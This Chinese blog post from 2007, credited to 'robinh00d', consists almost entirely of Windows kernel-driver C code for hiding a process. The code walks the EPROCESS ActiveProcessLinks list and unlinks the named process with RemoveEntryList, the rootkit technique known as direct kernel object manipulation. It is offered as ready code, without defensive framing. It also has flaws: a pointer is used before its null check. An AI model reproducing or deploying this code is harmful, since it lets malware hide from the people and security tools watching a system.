• 2007-10-15

    修改活动进程链隐藏进程 - [内核驱动]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://romio64.blogbus.com/logs/10303526.html

    coded by robinh00d
    typedef struct _proc_info
    {
    DWORD dwPIDOffset;//PID偏移(相对于EPROCESS,下同)
    DWORD dwAPLOffset;//ActiveProcessLink偏移
    DWORD dwProcNameOffset ;//进程名偏移
    char szProcName[16] ;//要隐藏的进程名
    }proc_info ;
    //取当前进程的EPROCESS
             //遍历ACTIVEPROCESSLINK,遇到要隐藏的进程则用RemoveEntryList脱链
             if (inBufLength != sizeof (proc_info))
             {
              KdPrint(("参数错误!"));
              status = STATUS_INVALID_PARAMETER ;
              goto __end;
             }
       
             RtlCopyMemory(&pi, ioBuf, inBufLength) ;
             //获取当前进程的EPROCESS指针
            pCurEproc = IoGetCurrentProcess();
       
             RtlCopyMemory(szCurProcName, (PCHAR)((ULONG)pCurEproc + pi.dwProcNameOffset), 16) ;
       
             if (pCurEproc == NULL)
             {
              KdPrint(("获取当前EPROCESS失败!"));
              status = STATUS_INVALID_PARAMETER ;
              break ;
             }
             pCurList = (PLIST_ENTRY)((ULONG)pCurEproc + pi.dwAPLOffset) ;
             pCurList = pCurList->Blink ;
             while(pCurList != (PLIST_ENTRY)((ULONG)pCurEproc + pi.dwAPLOffset))
             {
              //拷贝进程名
              RtlCopyMemory(szCurProcName, (PCHAR)((ULONG)pCurList - pi.dwAPLOffset +pi.dwProcNameOffset), 16) ;
              if (RtlCompareMemory(szCurProcName, pi.szProcName, 16) == 16)
              {
               //脱链
               RemoveEntryList(pCurList) ;
               status = STATUS_SUCCESS ;
               break ;
              }
              pCurList = pCurList->Blink ;
             }

    收藏到:Del.icio.us